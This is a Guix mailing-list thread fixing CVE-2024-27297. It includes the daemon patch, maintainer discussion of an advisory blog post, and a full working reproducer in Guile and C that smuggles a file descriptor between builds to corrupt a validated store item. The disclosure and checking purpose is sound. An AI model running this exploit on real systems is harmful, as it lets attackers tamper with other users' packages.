| Message ID | f541e64f128d82e6d9eca3b1d40e833dc06fd968.1710154382.git.ludo@gnu.org |
|---|---|
| State | New |
| Headers | show |
| Series | [bug#69728,security] daemon: Protect against FD escape when building fixed-output derivations (CVE-2024-27297). | expand |
Ludovic Courtès <ludo@gnu.org> skribis: > This fixes a security issue (CVE-2024-27297) whereby a fixed-output > derivation build process could open a writable file descriptor to its > output, send it to some outside process for instance over an abstract > AF_UNIX socket, which would then allow said process to modify the file > in the store after it has been marked as “valid”. > > Nix security advisory: > https://github.com/NixOS/nix/security/advisories/GHSA-2ffj-w4mj-pg37 > > * nix/libutil/util.cc (readDirectory): Add variants that take a DIR* and > a file descriptor. Rewrite the ‘Path’ variant accordingly. > (copyFile, copyFileRecursively): New functions. > * nix/libutil/util.hh (copyFileRecursively): New declaration. > * nix/libstore/build.cc (DerivationGoal::buildDone): When ‘fixedOutput’ > is true, call ‘copyFileRecursively’ followed by ‘rename’ on each output. > > Change-Id: I7952d41093eed26e123e38c14a4c1424be1ce1c4 > > Reported-by: Picnoir <picnoir@alternativebit.fr>, Théophane Hufschmitt <theophane.hufschmitt@tweag.io> > Change-Id: Idb5f2757f35af86b032a9851cecb19b70227bd88 > --- > nix/libstore/build.cc | 16 ++++++ > nix/libutil/util.cc | 112 ++++++++++++++++++++++++++++++++++++++++-- > nix/libutil/util.hh | 6 +++ > 3 files changed, 129 insertions(+), 5 deletions(-) Pushed (with a slightly different commit message) as 8f4ffb3fae133bb21d7991e97c2f19a7108b1143. Updated the ‘guix’ package in b8954a7faeccae11c32add7cd0f408d139af3a43: Guix System users can now reconfigure! Added a news entry in 4003c60abf7a6e59e47cc2deb9eef2f104ebb994. Ludo’.
Hi all, On Mon, Mar 11, 2024 at 11:16 PM, Ludovic Courtès wrote: > Ludovic Courtès <ludo@gnu.org> skribis: > >> This fixes a security issue (CVE-2024-27297) whereby a fixed-output >> derivation build process could open a writable file descriptor to its >> output, send it to some outside process for instance over an abstract >> AF_UNIX socket, which would then allow said process to modify the file >> in the store after it has been marked as “valid”. >> >> Nix security advisory: >> <https://github.com/NixOS/nix/security/advisories/GHSA-2ffj-w4mj-pg37> >> >> * nix/libutil/util.cc (readDirectory): Add variants that take a DIR* and >> a file descriptor. Rewrite the ‘Path’ variant accordingly. >> (copyFile, copyFileRecursively): New functions. >> * nix/libutil/util.hh (copyFileRecursively): New declaration. >> * nix/libstore/build.cc (DerivationGoal::buildDone): When ‘fixedOutput’ >> is true, call ‘copyFileRecursively’ followed by ‘rename’ on each output. >> >> Change-Id: I7952d41093eed26e123e38c14a4c1424be1ce1c4 >> >> Reported-by: Picnoir <picnoir@alternativebit.fr>, Théophane >> Hufschmitt <theophane.hufschmitt@tweag.io> >> Change-Id: Idb5f2757f35af86b032a9851cecb19b70227bd88 >> --- >> nix/libstore/build.cc | 16 ++++++ >> nix/libutil/util.cc | 112 ++++++++++++++++++++++++++++++++++++++++-- >> nix/libutil/util.hh | 6 +++ >> 3 files changed, 129 insertions(+), 5 deletions(-) > > Pushed (with a slightly different commit message) as > 8f4ffb3fae133bb21d7991e97c2f19a7108b1143. > > Updated the ‘guix’ package in b8954a7faeccae11c32add7cd0f408d139af3a43: > Guix System users can now reconfigure! > > Added a news entry in 4003c60abf7a6e59e47cc2deb9eef2f104ebb994. > > Ludo’. Many thanks for the quick fix, deployment, and news entry! I've attached a draft of a blog post to add some information and further alert users. Please give it a read and feel free to make any changes or corrections. Especially if I misunderstood or glossed too quickly over any technical aspects, though I kept it light. And, if all looks good, feel free to take whatever steps to post this to the website. Two minor questions/comments: 1. I made a note that presumably there is some performance penalty for copying everything, probably for derivations with many files. But I haven't tested this, just picked up on this from what was said on the Nix side as a potential impact. 2. Is picnoir the same as Félix Baylac Jacqué? I wasn't sure based on emails; fine to change to whatever they want for credit for reporting this to us. Based on what was posted on the Nix side, it seems jade and puckipedia are the original finders/reporters of the security issue. But feel free to correct me. Thanks everyone! John
As promised, attached is a reproducer that I adapted from the Nix one at
<https://hackmd.io/03UGerewRcy3db44JQoWvw>, which I think was written by
puck <https://github.com/puckipedia>.
The program demonstrates the vulnerability using two fixed-output
derivations that must be built concurrently on the same machine.
To do that, run:
guix build -f fixed-output-derivation-corruption.scm -M4
Normally, you’ll find yourself building
“derivation-that-exfiltrates-fd.drv” and “derivation-that-grabs-fd.drv”
in parallel; the former will send a file descriptor to the latter using
a C program, and the latter will use that file descriptor to modify the
contents of /gnu/store/…-derivation-that-exfiltrates-fd after it has
completed.
On a safe system, the ‘guix build’ command succeeds like this:
--8<---------------cut here---------------start------------->8---
$ guix build -f fixed-output-derivation-corruption.scm -M4
/home/ludo/src/guix-debugging/fixed-output-derivation-corruption.scm:20:7: warning: importing module (guix config) from the host
/home/ludo/src/guix-debugging/fixed-output-derivation-corruption.scm:20:7: warning: importing module (guix config) from the host
substitute: updating substitutes from 'https://ci.guix.gnu.org'... 100.0%
substitute: updating substitutes from 'https://bordeaux.guix.gnu.org'... 100.0%
The following derivations will be built:
/gnu/store/gwjb6hinjnnxlrrjxxvwa0n7gxyzlb5l-checking-for-vulnerability.drv
/gnu/store/8wf8mpn0syy5yay3nbrzr3w53jd925rc-derivation-that-grabs-fd-65f05a81-17185.drv
/gnu/store/a4jabck4l27y4nfjd2agq4m9vp7whqrz-derivation-that-exfiltrates-fd-65f05a81-17185.drv
building /gnu/store/a4jabck4l27y4nfjd2agq4m9vp7whqrz-derivation-that-exfiltrates-fd-65f05a81-17185.drv...
building /gnu/store/8wf8mpn0syy5yay3nbrzr3w53jd925rc-derivation-that-grabs-fd-65f05a81-17185.drv...
accepting connections...
attempting connection...
preparing our hand...
successfully built /gnu/store/a4jabck4l27y4nfjd2agq4m9vp7whqrz-derivation-that-exfiltrates-fd-65f05a81-17185.drv
The following build is still in progress:
/gnu/store/8wf8mpn0syy5yay3nbrzr3w53jd925rc-derivation-that-grabs-fd-65f05a81-17185.drv
swaptrick finished, now to wait..
successfully built /gnu/store/8wf8mpn0syy5yay3nbrzr3w53jd925rc-derivation-that-grabs-fd-65f05a81-17185.drv
building /gnu/store/gwjb6hinjnnxlrrjxxvwa0n7gxyzlb5l-checking-for-vulnerability.drv...
This depends on /gnu/store/b03pq9ns0y7l12c08wy9jc8lbmkmy33j-derivation-that-grabs-fd-65f05a81-17185, which will grab the file
descriptor and corrupt /gnu/store/i0qcxrhmckni6snn1angzi54pxx3fm1k-derivation-that-exfiltrates-fd-65f05a81-17185.
Here is what we see in /gnu/store/i0qcxrhmckni6snn1angzi54pxx3fm1k-derivation-that-exfiltrates-fd-65f05a81-17185: "This is the original text, before corruption."
Failed to corrupt /gnu/store/i0qcxrhmckni6snn1angzi54pxx3fm1k-derivation-that-exfiltrates-fd-65f05a81-17185, your system is safe.
successfully built /gnu/store/gwjb6hinjnnxlrrjxxvwa0n7gxyzlb5l-checking-for-vulnerability.drv
/gnu/store/5xsvwbld5c5zxi075j45sfnvsx9f658v-checking-for-vulnerability
--8<---------------cut here---------------end--------------->8---
On a system that is still vulnerable, we get this instead:
--8<---------------cut here---------------start------------->8---
$ guix build -f fixed-output-derivation-corruption.scm -M4
/home/ludo/src/guix-debugging/fixed-output-derivation-corruption.scm:20:7: warning: importing module (guix config) from the host
/home/ludo/src/guix-debugging/fixed-output-derivation-corruption.scm:20:7: warning: importing module (guix config) from the host
substitute: updating substitutes from 'https://ci.guix.gnu.org'... 100.0%
substitute: updating substitutes from 'https://bordeaux.guix.gnu.org'... 100.0%
substitute: updating substitutes from 'https://guix.bordeaux.inria.fr'... 100.0%
The following derivations will be built:
/gnu/store/gph10hc3b2ys49sx58l5wjj4ybf81a2l-checking-for-vulnerability.drv
/gnu/store/a2xmgshnyqw7dafnmhdsjxr6f1qqa9da-derivation-that-exfiltrates-fd-65f05aca-17261.drv
/gnu/store/arw3as4x4i61xg3yvfk9lsa9jcrwlpqb-derivation-that-grabs-fd-65f05aca-17261.drv
building /gnu/store/a2xmgshnyqw7dafnmhdsjxr6f1qqa9da-derivation-that-exfiltrates-fd-65f05aca-17261.drv...
building /gnu/store/arw3as4x4i61xg3yvfk9lsa9jcrwlpqb-derivation-that-grabs-fd-65f05aca-17261.drv...
accepting connections...
attempting connection...
preparing our hand...
successfully built /gnu/store/a2xmgshnyqw7dafnmhdsjxr6f1qqa9da-derivation-that-exfiltrates-fd-65f05aca-17261.drv
The following build is still in progress:
/gnu/store/arw3as4x4i61xg3yvfk9lsa9jcrwlpqb-derivation-that-grabs-fd-65f05aca-17261.drv
swaptrick finished, now to wait..
successfully built /gnu/store/arw3as4x4i61xg3yvfk9lsa9jcrwlpqb-derivation-that-grabs-fd-65f05aca-17261.drv
building /gnu/store/gph10hc3b2ys49sx58l5wjj4ybf81a2l-checking-for-vulnerability.drv...
This depends on /gnu/store/iqggpsrj9i0ydpqpb98iszx1vnbkgr19-derivation-that-grabs-fd-65f05aca-17261, which will grab the file
descriptor and corrupt /gnu/store/yls7xkg8k0i0qxab8sv960qsy6a0xcz7-derivation-that-exfiltrates-fd-65f05aca-17261.
Here is what we see in /gnu/store/yls7xkg8k0i0qxab8sv960qsy6a0xcz7-derivation-that-exfiltrates-fd-65f05aca-17261: "This file has been corrupted!\n"
We managed to corrupt /gnu/store/yls7xkg8k0i0qxab8sv960qsy6a0xcz7-derivation-that-exfiltrates-fd-65f05aca-17261, meaning that YOUR SYSTEM IS VULNERABLE!
builder for `/gnu/store/gph10hc3b2ys49sx58l5wjj4ybf81a2l-checking-for-vulnerability.drv' failed with exit code 1
build of /gnu/store/gph10hc3b2ys49sx58l5wjj4ybf81a2l-checking-for-vulnerability.drv failed
View build log at '/var/log/guix/drvs/gp/h10hc3b2ys49sx58l5wjj4ybf81a2l-checking-for-vulnerability.drv.gz'.
guix build: error: build of `/gnu/store/gph10hc3b2ys49sx58l5wjj4ybf81a2l-checking-for-vulnerability.drv' failed
--8<---------------cut here---------------end--------------->8---
At this point,
/gnu/store/yls7xkg8k0i0qxab8sv960qsy6a0xcz7-derivation-that-exfiltrates-fd-65f05aca-17261
is corrupt:
--8<---------------cut here---------------start------------->8---
$ cat /gnu/store/yls7xkg8k0i0qxab8sv960qsy6a0xcz7-derivation-that-exfiltrates-fd-65f05aca-17261
This file has been corrupted!
--8<---------------cut here---------------end--------------->8---
You can remove those corrupt test files by running:
guix gc -D /gnu/store/yls7xkg8k0i0qxab8sv960qsy6a0xcz7-derivation-that-exfiltrates-fd*
You can find corrupt files in your store by running:
guix gc --verify=contents
This is expensive because it reads every single file under /gnu/store
and check the hash of each store item against that recorded in
/var/guix/db/db.sqlite. It should flag all the
/gnu/store/…-derivation-that-exfiltrates-fd* outputs.
Ludo’.
;; Checking for CVE-2024-27297.
;; Adapted from <https://hackmd.io/03UGerewRcy3db44JQoWvw>.
(use-modules (guix)
(guix modules)
(guix profiles)
(gnu packages)
(gnu packages gnupg)
(gcrypt hash)
((rnrs bytevectors) #:select (string->utf8)))
(define (compiled-c-code name source)
(define build-profile
(profile (content (specifications->manifest '("gcc-toolchain")))))
(define build
(with-extensions (list guile-gcrypt)
(with-imported-modules (source-module-closure '((guix build utils)
(guix profiles)))
#~(begin
(use-modules (guix build utils)
(guix profiles))
(load-profile #+build-profile)
(system* "gcc" "-Wall" "-g" "-O2" #+source "-o" #$output)))))
(computed-file name build))
(define sender-source
(plain-file "sender.c" "
#include <sys/socket.h>
#include <sys/un.h>
#include <stdlib.h>
#include <stddef.h>
#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
int main(int argc, char **argv) {
setvbuf(stdout, NULL, _IOLBF, 0);
int sock = socket(AF_UNIX, SOCK_STREAM, 0);
// Set up an abstract domain socket path to connect to.
struct sockaddr_un data;
data.sun_family = AF_UNIX;
data.sun_path[0] = 0;
strcpy(data.sun_path + 1, \"dihutenosa\");
// Now try to connect, To ensure we work no matter what order we are
// executed in, just busyloop here.
int res = -1;
while (res < 0) {
printf(\"attempting connection...\\n\");
res = connect(sock, (const struct sockaddr *)&data,
offsetof(struct sockaddr_un, sun_path)
+ strlen(\"dihutenosa\")
+ 1);
if (res < 0 && errno != ECONNREFUSED) perror(\"connect\");
if (errno != ECONNREFUSED) break;
usleep(500000);
}
// Write our message header.
struct msghdr msg = {0};
msg.msg_control = malloc(128);
msg.msg_controllen = 128;
// Write an SCM_RIGHTS message containing the output path.
struct cmsghdr *hdr = CMSG_FIRSTHDR(&msg);
hdr->cmsg_len = CMSG_LEN(sizeof(int));
hdr->cmsg_level = SOL_SOCKET;
hdr->cmsg_type = SCM_RIGHTS;
int fd = open(getenv(\"out\"), O_RDWR | O_CREAT, 0640);
memcpy(CMSG_DATA(hdr), (void *)&fd, sizeof(int));
msg.msg_controllen = CMSG_SPACE(sizeof(int));
// Write a single null byte too.
msg.msg_iov = malloc(sizeof(struct iovec));
msg.msg_iov[0].iov_base = \"\";
msg.msg_iov[0].iov_len = 1;
msg.msg_iovlen = 1;
// Send it to the othher side of this connection.
res = sendmsg(sock, &msg, 0);
if (res < 0) perror(\"sendmsg\");
int buf;
// Wait for the server to close the socket, implying that it has
// received the commmand.
recv(sock, (void *)&buf, sizeof(int), 0);
}"))
(define receiver-source
(mixed-text-file "receiver.c" "
#include <sys/socket.h>
#include <sys/un.h>
#include <stdlib.h>
#include <stddef.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/inotify.h>
int main(int argc, char **argv) {
int sock = socket(AF_UNIX, SOCK_STREAM, 0);
// Bind to the socket.
struct sockaddr_un data;
data.sun_family = AF_UNIX;
data.sun_path[0] = 0;
strcpy(data.sun_path + 1, \"dihutenosa\");
int res = bind(sock, (const struct sockaddr *)&data,
offsetof(struct sockaddr_un, sun_path)
+ strlen(\"dihutenosa\")
+ 1);
if (res < 0) perror(\"bind\");
res = listen(sock, 1);
if (res < 0) perror(\"listen\");
while (1) {
setvbuf(stdout, NULL, _IOLBF, 0);
printf(\"accepting connections...\\n\");
int a = accept(sock, 0, 0);
if (a < 0) perror(\"accept\");
struct msghdr msg = {0};
msg.msg_control = malloc(128);
msg.msg_controllen = 128;
// Receive the file descriptor as sent by the smuggler.
recvmsg(a, &msg, 0);
struct cmsghdr *hdr = CMSG_FIRSTHDR(&msg);
while (hdr) {
if (hdr->cmsg_level == SOL_SOCKET
&& hdr->cmsg_type == SCM_RIGHTS) {
int res;
// Grab the copy of the file descriptor.
memcpy((void *)&res, CMSG_DATA(hdr), sizeof(int));
printf(\"preparing our hand...\\n\");
ftruncate(res, 0);
// Write the expected contents to the file, tricking Nix
// into accepting it as matching the fixed-output hash.
write(res, \"hello, world\\n\", strlen(\"hello, world\\n\"));
// But wait, the file is bigger than this! What could
// this code hide?
// First, we do a bit of a hack to get a path for the
// file descriptor we received. This is necessary because
// that file doesn't exist in our mount namespace!
char buf[128];
sprintf(buf, \"/proc/self/fd/%d\", res);
// Hook up an inotify on that file, so whenever Nix
// closes the file, we get notified.
int inot = inotify_init();
inotify_add_watch(inot, buf, IN_CLOSE_NOWRITE);
// Notify the smuggler that we've set everything up for
// the magic trick we're about to do.
close(a);
// So, before we continue with this code, a trip into Nix
// reveals a small flaw in fixed-output derivations. When
// storing their output, Nix has to hash them twice. Once
// to verify they match the \"flat\" hash of the derivation
// and once more after packing the file into the NAR that
// gets sent to a binary cache for others to consume. And
// there's a very slight window inbetween, where we could
// just swap the contents of our file. But the first hash
// is still noted down, and Nix will refuse to import our
// NAR file. To trick it, we need to write a reference to
// a store path that the source code for the smuggler drv
// references, to ensure it gets picked up. Continuing...
// Wait for the next inotify event to drop:
read(inot, buf, 128);
// first read + CA check has just been done, Nix is about
// to chown the file to root. afterwards, refscanning
// happens...
// Empty the file, seek to start.
ftruncate(res, 0);
lseek(res, 0, SEEK_SET);
// We swap out the contents!
static const char content[] = \"This file has been corrupted!\\n\";
write(res, content, strlen (content));
close(res);
printf(\"swaptrick finished, now to wait..\\n\");
return 0;
}
hdr = CMSG_NXTHDR(&msg, hdr);
}
close(a);
}
}"))
(define nonce
(string-append "-" (number->string (car (gettimeofday)) 16)
"-" (number->string (getpid))))
(define original-text
"This is the original text, before corruption.")
(define derivation-that-exfiltrates-fd
(computed-file (string-append "derivation-that-exfiltrates-fd" nonce)
(with-imported-modules '((guix build utils))
#~(begin
(use-modules (guix build utils))
(invoke #+(compiled-c-code "sender" sender-source))
(call-with-output-file #$output
(lambda (port)
(display #$original-text port)))))
#:options `(#:hash-algo sha256
#:hash ,(sha256
(string->utf8 original-text)))))
(define derivation-that-grabs-fd
(computed-file (string-append "derivation-that-grabs-fd" nonce)
#~(begin
(open-output-file #$output) ;make sure there's an output
(execl #+(compiled-c-code "receiver" receiver-source)
"receiver"))
#:options `(#:hash-algo sha256
#:hash ,(sha256 #vu8()))))
(define check
(computed-file "checking-for-vulnerability"
#~(begin
(use-modules (ice-9 textual-ports))
(mkdir #$output) ;make sure there's an output
(format #t "This depends on ~a, which will grab the file
descriptor and corrupt ~a.~%~%"
#+derivation-that-grabs-fd
#+derivation-that-exfiltrates-fd)
(let ((content (call-with-input-file
#+derivation-that-exfiltrates-fd
get-string-all)))
(format #t "Here is what we see in ~a: ~s~%~%"
#+derivation-that-exfiltrates-fd content)
(if (string=? content #$original-text)
(format #t "Failed to corrupt ~a, \
your system is safe.~%"
#+derivation-that-exfiltrates-fd)
(begin
(format #t "We managed to corrupt ~a, \
meaning that YOUR SYSTEM IS VULNERABLE!~%"
#+derivation-that-exfiltrates-fd)
(exit 1)))))))
check
-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA512 -----BEGIN PGP SIGNATURE----- iQJRBAEBCgA7FiEEpCB7VsJVEJ8ssxV+SZCXrl6oFdkFAmXwaBwdHGpvaG4ua2Vo YXlpYXNAcHJvdG9ubWFpbC5jb20ACgkQSZCXrl6oFdk6Fg//aEuH516qXJrKpmAc VqB1L/38z/UlbWlhT1n8HBqW5JsEd137FMw0WBeIVYVoWFuQJVaJPjtwWQNbXOfO VKFITVw41hCMBhCNQmpBu1cuzVGmxX9MP2laWeDSpDT1uswuX4HxZaPrgU7LxFHz G8wl2onDGheyN+/kaw/h6isv7yAI0jH+Tk8epkcyRUHCM9N1mdv3aVPcd1ZOzktW ugkzNrA+2KdZXLZm2frr0Elh9xXBNi7owi0g5BSFtsEhqgbqTcb+IwuoT+2PXPH7 bZFE3Bpp6xI38+gY1XBMEZ/+ZY/5fScScGH4hejBJiEDAFVtaNvlJDeL6hbTCAX2 MvL/wkwMv2ODmsbJ7XfI/XG90E3IKrQ83/H7GBO2sIA2rM5wCnGjXuT+NMiJuoce FnLjEamwu8lesHPSp81rpz8vEtzBywND/hhCeu0B+p6s9lbPyQKO8AMLtKCuZM94 a04XCCQDwKzcxKSiN6jF4b76kcS7kdrRS8qHPqVGzmwqkRJJVdCMlvoO3PtuAI+J EDMQyU8FAFRqOE69Aomr056LLLwQqfWfXln6evFeznFvLEAo3SF2Yl4QW4MngLye b5rPxGy9HggI3KfexsWLJNzMTdxyZql4uO3Ye6/SKYfmCNezy+4wSUtd+8EM4LqK ZRF4fbqgZ5KjllnMH7oZjXm7b0A= =jN50 -----END PGP SIGNATURE----- Hi all, On Tue, Mar 12, 2024 at 02:45 PM, Ludovic Courtès wrote: > As promised, attached is a reproducer that I adapted from the Nix one at > <https://hackmd.io/03UGerewRcy3db44JQoWvw>, which I think was written by > puck <https://github.com/puckipedia>. > > The program demonstrates the vulnerability using two fixed-output > derivations that must be built concurrently on the same machine. > Thanks for the reproducer and instructions. I've included the code an a brief overview of how to run and what to look for in the updated post (along with other changes noted privately). The updated post is attached. I will have some time here and there over the next few hours to make changes, but will mostly be away from my Guix machine to handle actually pushing. So, once it looks good, feel free to do that or I can do it this evening my time (in about 7-8 hours). Thanks again Ludo’ for all your work here! John
Hi John, John Kehayias <john.kehayias@protonmail.com> skribis: > The updated post is attached. I will have some time here and there > over the next few hours to make changes, but will mostly be away from > my Guix machine to handle actually pushing. So, once it looks good, > feel free to do that or I can do it this evening my time (in about 7-8 > hours). LGTM, thank you! Ludo’.
For posterity: the blog post was published yesterday at <https://guix.gnu.org/en/blog/2024/fixed-output-derivation-sandbox-bypass-cve-2024-27297/>. Ludo’.
diff --git a/nix/libstore/build.cc b/nix/libstore/build.cc index 461fcbc584..e2adee118b 100644 --- a/nix/libstore/build.cc +++ b/nix/libstore/build.cc @@ -1382,6 +1382,22 @@ void DerivationGoal::buildDone() % drvPath % statusToString(status)); } + if (fixedOutput) { + /* Replace the output, if it exists, by a fresh copy of itself to + make sure that there's no stale file descriptor pointing to it + (CVE-2024-27297). */ + foreach (DerivationOutputs::iterator, i, drv.outputs) { + if (pathExists(i->second.path)) { + Path pivot = i->second.path + ".tmp"; + copyFileRecursively(i->second.path, pivot, true); + int err = rename(pivot.c_str(), i->second.path.c_str()); + if (err != 0) + throw SysError(format("renaming `%1%' to `%2%'") + % pivot % i->second.path); + } + } + } + /* Compute the FS closure of the outputs and register them as being valid. */ registerOutputs(); diff --git a/nix/libutil/util.cc b/nix/libutil/util.cc index 82eac72120..493f06f357 100644 --- a/nix/libutil/util.cc +++ b/nix/libutil/util.cc @@ -215,14 +215,11 @@ bool isLink(const Path & path) } -DirEntries readDirectory(const Path & path) +static DirEntries readDirectory(DIR *dir) { DirEntries entries; entries.reserve(64); - AutoCloseDir dir = opendir(path.c_str()); - if (!dir) throw SysError(format("opening directory `%1%'") % path); - struct dirent * dirent; while (errno = 0, dirent = readdir(dir)) { /* sic */ checkInterrupt(); @@ -230,11 +227,29 @@ DirEntries readDirectory(const Path & path) if (name == "." || name == "..") continue; entries.emplace_back(name, dirent->d_ino, dirent->d_type); } - if (errno) throw SysError(format("reading directory `%1%'") % path); + if (errno) throw SysError(format("reading directory")); return entries; } +DirEntries readDirectory(const Path & path) +{ + AutoCloseDir dir = opendir(path.c_str()); + if (!dir) throw SysError(format("opening directory `%1%'") % path); + return readDirectory(dir); +} + +static DirEntries readDirectory(int fd) +{ + /* Since 'closedir' closes the underlying file descriptor, duplicate FD + beforehand. */ + int fdcopy = dup(fd); + if (fdcopy < 0) throw SysError("dup"); + + AutoCloseDir dir = fdopendir(fdcopy); + if (!dir) throw SysError(format("opening directory from file descriptor `%1%'") % fd); + return readDirectory(dir); +} unsigned char getFileType(const Path & path) { @@ -364,6 +379,93 @@ void deletePath(const Path & path, unsigned long long & bytesFreed, size_t linkT _deletePath(path, bytesFreed, linkThreshold); } +static void copyFile(int sourceFd, int destinationFd) +{ + struct stat st; + if (fstat(sourceFd, &st) == -1) throw SysError("statting file"); + + ssize_t result = copy_file_range(sourceFd, NULL, destinationFd, NULL, st.st_size, 0); + if (result < 0 && errno == ENOSYS) { + for (size_t remaining = st.st_size; remaining > 0; ) { + unsigned char buf[8192]; + size_t count = std::min(remaining, sizeof buf); + + readFull(sourceFd, buf, count); + writeFull(destinationFd, buf, count); + remaining -= count; + } + } else { + if (result < 0) + throw SysError(format("copy_file_range `%1%' to `%2%'") % sourceFd % destinationFd); + if (result < st.st_size) + throw SysError(format("short write in copy_file_range `%1%' to `%2%'") + % sourceFd % destinationFd); + } +} + +static void copyFileRecursively(int sourceroot, const Path &source, + int destinationroot, const Path &destination, + bool deleteSource) +{ + struct stat st; + if (fstatat(sourceroot, source.c_str(), &st, AT_SYMLINK_NOFOLLOW) == -1) + throw SysError(format("statting file `%1%'") % source); + + if (S_ISREG(st.st_mode)) { + AutoCloseFD sourceFd = openat(sourceroot, source.c_str(), + O_CLOEXEC | O_NOFOLLOW | O_RDONLY); + if (sourceFd == -1) throw SysError(format("opening `%1%'") % source); + + AutoCloseFD destinationFd = openat(destinationroot, destination.c_str(), + O_CLOEXEC | O_CREAT | O_WRONLY | O_TRUNC, + st.st_mode); + if (destinationFd == -1) throw SysError(format("opening `%1%'") % source); + + copyFile(sourceFd, destinationFd); + } else if (S_ISLNK(st.st_mode)) { + char target[st.st_size + 1]; + ssize_t result = readlinkat(sourceroot, source.c_str(), target, st.st_size); + if (result != st.st_size) throw SysError("reading symlink target"); + target[st.st_size] = '\0'; + int err = symlinkat(target, destinationroot, destination.c_str()); + if (err != 0) + throw SysError(format("creating symlink `%1%'") % destination); + } else if (S_ISDIR(st.st_mode)) { + int err = mkdirat(destinationroot, destination.c_str(), 0755); + if (err != 0) + throw SysError(format("creating directory `%1%'") % destination); + + AutoCloseFD destinationFd = openat(destinationroot, destination.c_str(), + O_CLOEXEC | O_RDONLY | O_DIRECTORY); + if (err != 0) + throw SysError(format("opening directory `%1%'") % destination); + + AutoCloseFD sourceFd = openat(sourceroot, source.c_str(), + O_CLOEXEC | O_NOFOLLOW | O_RDONLY); + if (sourceFd == -1) + throw SysError(format("opening `%1%'") % source); + + if (deleteSource && !(st.st_mode & S_IWUSR)) { + /* Ensure the directory writable so files within it can be + deleted. */ + if (fchmod(sourceFd, st.st_mode | S_IWUSR) == -1) + throw SysError(format("making `%1%' directory writable") % source); + } + + for (auto & i : readDirectory(sourceFd)) + copyFileRecursively((int)sourceFd, i.name, (int)destinationFd, i.name, + deleteSource); + } else throw Error(format("refusing to copy irregular file `%1%'") % source); + + if (deleteSource) + unlinkat(sourceroot, source.c_str(), + S_ISDIR(st.st_mode) ? AT_REMOVEDIR : 0); +} + +void copyFileRecursively(const Path &source, const Path &destination, bool deleteSource) +{ + copyFileRecursively(AT_FDCWD, source, AT_FDCWD, destination, deleteSource); +} static Path tempName(Path tmpRoot, const Path & prefix, bool includePid, int & counter) diff --git a/nix/libutil/util.hh b/nix/libutil/util.hh index 880b0e93b2..058f5f8446 100644 --- a/nix/libutil/util.hh +++ b/nix/libutil/util.hh @@ -102,6 +102,12 @@ void deletePath(const Path & path); void deletePath(const Path & path, unsigned long long & bytesFreed, size_t linkThreshold = 1); +/* Copy SOURCE to DESTINATION, recursively. Throw if SOURCE contains a file + that is not a regular file, symlink, or directory. When DELETESOURCE is + true, delete source files once they have been copied. */ +void copyFileRecursively(const Path &source, const Path &destination, + bool deleteSource = false); + /* Create a temporary directory. */ Path createTempDir(const Path & tmpRoot = "", const Path & prefix = "nix", bool includePid = true, bool useGlobalCounter = true, mode_t mode = 0755);